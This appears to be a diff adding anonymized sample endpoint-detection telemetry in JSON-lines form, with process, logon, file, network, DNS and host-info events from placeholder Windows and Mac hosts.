+{"CompletionEventId":"Event_ChannelDataDownloadCompleteV1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","DownloadPath":"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys","DownloadPort":"443","DownloadServer":"lfodown01-b.cloudsink.net","EffectiveTransmissionClass":"0","Entitlements":"15","TargetFileName":"C-00000013-00000000-00000408.sys","aid":"ffffffffffc94c645268f64fc900213f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"LFODownloadConfirmation","id":"ffffffff-1111-11eb-8ab5-0643392fc75d","name":"LFODownloadConfirmationV1","timestamp":"1604855174018"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"2071361595421","ContextThreadId":"41650430047375","ContextTimeStamp":"1604855146.590","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","FileObject":"18446622606546437424","IrpFlags":"395312","MajorFunction":"6","MinorFunction":"0","NewFileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","OperationFlags":"0","SourceFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll","aid":"ffffffff280b41b956a91e816bd9b9b0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8162-0663305b686f","name":"NewExecutableRenamedV6","timestamp":"1604855177513"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"402097454","ContextProcessId":"66601077523","ContextThreadId":"2500785639062","ContextTimeStamp":"1604855165.213","DesiredAccess":"1048577","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700","FileObject":"18446641334185168032","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"35668001","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU","aid":"ffffffff2c9f4066b0b5f2f00265503c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DirectoryCreate","id":"ffffffff-1111-11eb-9411-06b7c99be087","name":"DirectoryCreateV1","timestamp":"1604855180332"}
+{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextTimeStamp":"1604855196.468","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"949196415400","RpcClientThreadId":"44209361549673","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"wlidsvc","TargetProcessId":"955370934902","TokenType":"1","UserName":"user6","aid":"fffffffffcc4413057adc260e99b0774","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ServiceStarted","id":"ffffffff-1111-11eb-9c98-02c501fe7d81","name":"ServiceStartedV2","timestamp":"1604855196635"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"319255017313886870","ContextTimeStamp":"1604855200.751","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"0","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:1","RemotePort":"2181","aid":"ffffffffed0f41575620ab9fb25ce105","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-81f1-061cdebbd115","name":"NetworkConnectIP6MacV5","timestamp":"1604855200836"}
+{"AuthenticationId":"1656178821","AuthenticationPackage":"Kerberos","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"30254389526587","ContextThreadId":"275230771323179","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"dom1","LogonId":"1656178821","LogonServer":"srv1","LogonTime":"1604855211.249","LogonType":"5","PasswordLastSet":"1530626210.104","RemoteAccount":"1","SessionId":"0","UserCanonical":"","UserFlags":"32","UserIsAdmin":"0","UserLogonFlags":"0","UserName":"user7","UserPrincipal":"user7@dom4.cm","UserSid":"S-1-5-21-606747145-1364589140-725345543-183372","aid":"ffffffff73164cfa9656c4caff8a2a38","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-86e3-02db1faa1327","name":"UserIdentityV2","timestamp":"1604855212031"}
+{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"4193986770","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","ImageSubsystem":"2","IntegrityLevel":"16384","MD5HashData":"8a0a29438052faed8a2532da50455756","ParentAuthenticationId":"999","ParentProcessId":"2881931477041","ProcessCreateFlags":"525324","ProcessEndTime":"","ProcessParameterFlags":"8193","ProcessStartTime":"1604842733.215","ProcessSxsFlags":"64","RawProcessId":"6160","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6","SessionId":"0","SourceProcessId":"2881931477041","SourceThreadId":"70316664105336","Tags":"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297","TargetProcessId":"2882232404222","TokenType":"2","UserSid":"S-1-5-18","WindowFlags":"128","aid":"ffffffffbe8a46386afe80c5ef64d0b5","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-b4f9-06e3a7e5503b","name":"ProcessRollup2V16","timestamp":"1604855237946"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"1016182570608","ContextThreadId":"37343520154472","ContextTimeStamp":"1604829512.519","DesiredAccess":"1179785","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00","FileObject":"18446670458156489088","Information":"1","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"16777312","ShareAccess":"5","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx","aid":"ffffffffac4148947ed68497e89f3308","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RansomwareOpenFile","id":"ffffffff-1111-11eb-9756-06fe7f8f682f","name":"RansomwareOpenFileV4","timestamp":"1604855242091"}
+{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"13532","ConHostProcessId":"1731198143955","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"2030177841","ContextData":"","ContextProcessId":"1741732942772","ContextThreadId":"28523520529271","ContextTimeStamp":"1604855274.377","CycleTime":"473618996","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"0","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"0","GenericFileWrittenCount":"0","ImageSubsystem":"2","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"1406250","MaxThreadCount":"16","ModuleLoadCount":"72","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"1731198143955","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855154.465","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"18176","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"1741732942772","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-12-1-1647509123-1308660782-3901357462-3999411581","UserTime":"781250","aid":"fffffffffdab492a5a20cd0417395a73","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-b685-0241eaddc553","name":"EndOfProcessV14","timestamp":"1604855276657"}
+{"AuthenticationId":"895027","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1786917081743","ContextThreadId":"31685015444484","ContextTimeStamp":"1604855317.892","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"0000000000000000be341bb58bc5f1f2a24339010200510e","FileObject":"18446636933702558240","IrpFlags":"1028","IsOnNetwork":"1","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"223989","TargetFileName":"\\Device\\Mup\\intranet.dev\\int\\Test.pptx","TokenType":"1","aid":"fffffffffa474d216472f3edb73c75ed","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"OoxmlFileWritten","id":"ffffffff-1111-11eb-9165-067ee18a7975","name":"OoxmlFileWrittenV11","timestamp":"1604855329571"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"439029805661","ContextThreadId":"273683743193497","ContextTimeStamp":"1604855351.158","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"50373","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffff1f924e228a807ea4c0f21b0b","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-85f5-02ab029194b9","name":"NetworkListenIP6V5","timestamp":"1604855351798"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","ContextProcessId":"321365562189152025","ContextThreadId":"0","ContextTimeStamp":"1604846070.744","Entitlements":"15","SHA256HashData":"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d","Size":"29646","TargetFileName":"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc","VnodeModificationType":"10","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"AsepFileChange","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"AsepFileChangeMacV2","timestamp":"1604855355495"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"2932136","ContextThreadId":"36157339485804","ContextTimeStamp":"1604855191.803","EffectiveTransmissionClass":"2","Entitlements":"15","LogonTime":"","PasswordLastSet":"","UserLogonFlags":"1","UserName":"user7","UserSid":"S-1-5-10","aid":"ffffffffa5bd4efaa195a7132c576edc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed","id":"ffffffff-1111-11eb-aa5a-0207e26418af","name":"UserLogonFailedV1","timestamp":"1604855193422"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1858880895","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"56042872298","ContextTimeStamp":"1604855136.669","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"49689","Protocol":"6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemotePort":"443","aid":"ffffffff6854438eb4181691ec47e43d","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-a889-061944805289","name":"NetworkConnectIP6V5","timestamp":"1604855199798"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"321382909294815631","ContextThreadId":"0","ContextTimeStamp":"1604853755.987","Entitlements":"15","SHA256HashData":"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583","Size":"165","SourceFileName":"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq","TargetFileName":"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478","aid":"ffffffffc07b49d6b7426e970523671a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8773-06939a2f0915","name":"NewExecutableRenamedMacV1","timestamp":"1604855213224"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321367236803434269","ContextTimeStamp":"1604855268.323","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"51076","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffffa60a47af4ebd2a76070f0d4f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-9a50-0669ff09604d","name":"NetworkListenIP6MacV5","timestamp":"1604855268755"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ContextProcessId":"1611521722601","ContextThreadId":"53405065993811","ContextTimeStamp":"1604855280.307","DomainName":"raw.githubusercontent.com","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff6d724d38af99c628fb904626","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"SuspiciousDnsRequest","id":"ffffffff-1111-11eb-885e-02ac336efd4b","name":"SuspiciousDnsRequestV2","timestamp":"1604855323217"}
+{"ConfigBuild":"100.3.0011603.1","ContextProcessId":"4492535979973","ContextThreadId":"14023068415125","ContextTimeStamp":"1604855315.034","DiskParentDeviceInstanceId":"PCI\\VEN_8086\u0026DEV_31E3\u0026SUBSYS_080C1028\u0026REV_03\\3\u002611583659\u00260\u002690","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeDeviceCharacteristics":"131072","VolumeDeviceObjectFlags":"134479872","VolumeDeviceType":"8","VolumeDriveLetter":"C:","VolumeFileSystemDevice":"\\Ntfs","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","VolumeFileSystemType":"2","VolumeIsEncrypted":"0","VolumeMountPoint":"\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}","VolumeName":"\\Device\\HarddiskVolume4","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","aid":"ffffffff1990483499a736373600eef7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeMounted","id":"ffffffff-1111-11eb-9be9-024459b713c5","name":"FsVolumeMountedV6","timestamp":"1604855329102"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321210562584146513","ContextTimeStamp":"1604855127.011","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"53","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffe5ff467b4f0c4fd41a4462bb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-ae74-065212970c5d","name":"NetworkListenIP4MacV5","timestamp":"1604855128936"}
+{"AuthenticationId":"999","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855185.108","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"219053851298","RpcClientThreadId":"22047924482692","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"gpsvc","TargetProcessId":"224116976578","TargetThreadId":"22920092479704","TokenType":"1","UserName":"user7","aid":"ffffffff59514ea68b4693ddfb9b6643","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStarted","id":"ffffffff-1111-11eb-860c-0606af112d55","name":"HostedServiceStartedV2","timestamp":"1604855184068"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855299.018","EffectiveTransmissionClass":"3","Entitlements":"15","ServiceDisplayName":"wuauserv","TargetProcessId":"661455186053","TargetThreadId":"24238019995551","aid":"ffffffff2b5a4bf5afc6682595faa016","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStopped","id":"ffffffff-1111-11eb-9b11-0602a5689467","name":"HostedServiceStoppedV1","timestamp":"1604855302512"}
+{"AuthenticationId":"3443175","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1091372257857","ContextThreadId":"36855848099771","ContextTimeStamp":"1604855227.625","DiskParentDeviceInstanceId":"PCI\\VEN_1179\u0026DEV_0113\u0026SUBSYS_00011179\u0026REV_01\\4\u00263ad42678\u00260\u002600E0","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100","FileObject":"18446603341701082336","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"288041","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial","TokenType":"1","aid":"ffffffff32cb4abc50bc133b31a69946","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PdfFileWritten","id":"ffffffff-1111-11eb-baea-02dccfbb7779","name":"PdfFileWrittenV11","timestamp":"1604855264313"}
+{"AuthenticationId":"3783389","CommandLine":"\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca","ConfigBuild":"1007.3.0012309.1","ConfigStateHash":"3998263252","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe","ImageSubsystem":"2","IntegrityLevel":"4096","MD5HashData":"50d5fd1290d94d46acca0585311e74d5","ParentAuthenticationId":"3783389","ParentBaseFileName":"svchost.exe","ParentProcessId":"2439558094566","ProcessCreateFlags":"525332","ProcessEndTime":"","ProcessParameterFlags":"16385","ProcessStartTime":"1604855181.648","ProcessSxsFlags":"1600","RawProcessId":"22272","RpcClientProcessId":"2439558094566","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37","SessionId":"1","SourceProcessId":"2439558094566","SourceThreadId":"77538684027214","Tags":"41, 12094627905582, 12094627906234","TargetProcessId":"2450046082233","TokenType":"2","UserSid":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","WindowFlags":"128","aid":"ffffffff655344736aca58d17fb570f0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-8462-02ade3b2f949","name":"ProcessRollup2V18","timestamp":"1604855182022"}
+{"AuthenticationId":"326190744","AuthenticationUuid":"98467113-C771-4845-B71B-89B3CE9F93C9","AuthenticationUuidAsString":"13714698-71C7-4548-B71B-89B3CE9F93C9","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","Entitlements":"15","UID":"326190744","UserPrincipal":"user8@dom6","UserSid":"S-1-5-21-3629339319-2376021926-2724479216-652382488","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"UserIdentityMacV2","timestamp":"1604855355388"}
+{"BootArgs":" NOEXECUTE=OPTIN  HYPERVISORLAUNCHTYPE=AUTO  FVEBOOT=2125824  NOVGA","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1874387338","EffectiveTransmissionClass":"0","Entitlements":"15","MachineDomain":"","aid":"ffffffffcdb543135e7fcdf8e5a8fbdb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostInfo","id":"ffffffff-1111-11eb-9bbd-061290dcd983","name":"HostInfoV2","timestamp":"1604855157555"}
+{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"}
+{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"}
+{"AgentLoadFlags":"0","AgentLocalTime":"1636436839.9529998","AgentTimeOffset":"125.319","AgentVersion":"6.31.14404.0","BiosManufacturer":"Apple Inc.","BiosVersion":"1554.140.20.0.0 (iBridge: 18.16.14759.0.1,0)","ChassisType":"Laptop","City":"San Francisco","ComputerName":"mac1","ConfigBuild":"1007.4.0014404.1","ConfigIDBuild":"14404","Continent":"North America","Country":"United States","FalconGroupingTags":"-","FirstSeen":"1625682391.0","HostHiddenStatus":"Visible","MachineDomain":"none","OU":"none","PointerSize":"none","ProductType":"1","SensorGroupingTags":"-","ServicePackMajor":"none","SiteName":"none","SystemManufacturer":"Apple Inc.","SystemProductName":"MacBookPro16,2","Time":"1636448427.3539999","Timezone":"America/Los_Angeles","Version":"Big Sur (11.0)","aid":"fffffffffffaaaaaaaaabbbbbbbb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022ff","event_platform":"Mac"}
+{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","UTCTimestamp":"1604855134461"}
+{"ProcessCreateFlags":"1024","IntegrityLevel":"8192","ParentProcessId":"434985540832797032","SourceProcessId":"434985540832797032","aip":"89.160.20.120","SHA1HashData":"0000000000000000000000000000000000000000","UserSid":"S-1-5-21-4084637156-299436391-3671333128-115430","event_platform":"Win","TokenType":"2","ProcessEndTime":"","ParentBaseFileName":"EmUser.exe","ImageSubsystem":"2","id":"9686a6b3-1d39-11ed-9370-0660bfa16adf","EffectiveTransmissionClass":"3","SessionId":"1","Tags":"25, 27, 862, 874, 924, 12094627905582, 12094627906234","timestamp":"1660636869410","event_simpleName":"ProcessRollup2","RawProcessId":"6108","ConfigStateHash":"518095218","MD5HashData":"e570911fc2ab74ecf0dc59f324318f6e","SHA256HashData":"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2","ProcessSxsFlags":"64","AuthenticationId":"29530993","ConfigBuild":"1007.3.0015103.1","CommandLine":"\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all","ParentAuthenticationId":"29530993","TargetProcessId":"434985669758362104","ImageFileName":"\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe","SourceThreadId":"434985668331321297","Entitlements":"15","name":"ProcessRollup2V19","ProcessStartTime":"1660636868.576","ProcessParameterFlags":"24577","aid":"50deaa55144543089a1f463b568cdc53","cid":"1301ac65ae144fbb9689a8472f828c2e"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":133145666190000000,"EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812","StartTime":133145665200000000,"EndTime":133145665200000000}
+{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"}
